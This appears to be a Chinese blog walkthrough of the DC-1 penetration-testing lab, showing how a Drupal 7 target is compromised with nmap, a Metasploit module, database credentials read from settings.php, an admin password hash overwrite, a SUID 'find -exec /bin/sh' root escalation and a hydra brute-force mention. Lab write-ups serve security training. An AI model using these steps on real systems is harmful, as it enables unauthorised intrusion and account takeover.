靶场 DC-1 通关详解

渗透靶场

本环境重在于以下两个知识点

Drupal 7  漏洞利用

find  提权

目标:

目标就是我们搭建的靶场,靶场IP为:XXX.XXX.XXX.XXX/24

信息收集

nmap -sP  1XX.XXX.XXX.XXX/24

扫描网段中有哪些主机在线,使用-sP参数,只描主机(存活的主机),本质上就是ping扫描,能ping通就有返回,就能判断有哪些主机在线。

下载安装VMware并打开,打开DC1页面

信息收集

如果不知道DC-1 IP是多少时,使用nmap看看靶场IP是多少(nmap -sp 1XX.XXX.XXX.0/24)

获得DC-1靶场IP:192.168.186.129

查找到IP后可以查看DC-1靶场开启了什么端口(可以使用nmap)

nmap -A -p- -v 192.168.186.129

-A综合性扫描

-v沉于模式。IP地址,显示扫描的过程。

从返回的信息可以看到DC-1开启了22端口、80端口、111端口。22端口开放了ssh服务,版本为OpenSSH 6.0p1,80端口存在Web服务,Apache httpd 2.2.22,111端口开放了rpcbind服务。

这里我使用的是访问Wbe站点,打开kali中自带的火狐,在上方搜索栏里输入查到的DC-1的IP,访问Wbe站点

发现是一个电信的drupal服务,根据nmap结果可知当前运行的是Drupal 7的CMS

输入:searchaploit drupal 7

这里可以到浏览器搜索查看一下相关版本的漏洞

利用MSF渗透,MSF存在drupal模块,尝试使用msf渗透

进入MSF控制台msfconsole

进入MSF控制台搜索drupal模块

进入MSF控制台msfdb run

搜索drupal模块search drupal

选择模块进行测试,这里使用的是2018的测试,首先输入use 1,设置靶机IP运行msf,

输入set rhosts 192.168.186.129(这里是自己的DC-1 IP)输入run

执行whoami

这里发现www-data权限

进入home目录,发现flag4.txt文件,需要提升权限

使用python反弹一个交互式shell

继续输入:python -c "import pty;pty.spawn('/bin/bash')" ,显示了当前路径

查看www目录下文件,发现flag1.txt文件,打开发现提示信息,内容提示寻找站点的配置文件。

cd /var/www回到www目录下

ls查看目录下的文件

cat flag1.txt查看flag1.txt内容

Drupal的默认配置文件为

/var/www/sites/default/settings.php

  查看文件内容

cat /var/www/sites/default/settings.php

发现了flag2和数据库的账号密码,flag2提示,提升权限为root来查看敏感文件

可以看到flag2中数据库的账号密码

'username' => 'dbuser',

'password' => 'R0ck3t',

输入mysql -u dbuser -p完成后输入密码R0ck3t回车切换到dbuser数据库

查看数据库,切换到drupaldb数据库

show databases;(查看数据库)

use drupaldb

show tables;(查看drupaldb中的表)

查看查找默认的drupal user 表

输入:select * from users;

发现admin信息

这里发现密码是乱码可以通过置换drupal密码来解决

首先quit;或exit;退回到www目录

php scripts/password-hash.sh 新密码(新密码为你想设置的密码,注意密码和h中间有空格)

然后在进入数据库中把密码字段进行替换
输入mysql -u dbuser -pR0ck3t,再次进入mysql,密码R0ck3t,输入use drupaldb,切换到drupaldb数据库,将pass字段进行替换

update users set

pass="$S$DP1Ap9LH4p/fiYkxkQsYJfj/rc7pmEzd17IAimm0pDYMcpVTT2tw" where

name="admin";

完成之后访问站点,进行登录,密码是我们在上面替换的,账号是admin,登录成功后随便翻一翻找到flag3点击flag3进入,发现提示信息

Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.

大致意思是提权并提示 -exec,想到suid提权 find 命令

​ SUID (Set UID)是Linux中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是SUID权限的设置只针对二进制可执行文件,对于非可执行文件设置SUID没有任何意义.

在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效. 通俗的来讲,假设我们现在有一个可执行文件ls,其属主为root,当我们通过非root用户登录时,如果ls设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限.

利用此特性,我们可通过SUID进行提权

使用命令查看 suid 权限的可执行二进制程序

首先退回到www目录

find / -perm -4000 2>/dev/null

发现find命令

使用命令测试,发现为root权限

touch 123

ls

find / -name 123 -exec "whoami" \;

我们切换语句进入shell,执行whoami查看当前权限,执行ls查看当前目录下文件,切换到root目录,查看文件,发现cat thefinalflag.txt文件。

find ./ -name 123 -exec "/bin/sh" \;   

whoami

ls

cd /root

Ls

查看cat thefinalflag.txt文件

输入cat thefinalflag.txt

文件内容如下

Well done!!!

干得好!

Hopefully you've enjoyed this and learned some new skills.

希望你已经享受了这一点,并学到了一些新的技能。

You can Let me know what you thought of this little journey

你可以告诉我你对这段小旅程的看法

by_ contacting me via Twitter

通过twitter联系我

QDCAU7

大致就是说你已经通过了本关卡。

此时我们查看 /etc/passwd 文件,发现存在 flag4 用户,我们也可以使用 hydra 进行爆破

cat /etc/passwd

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值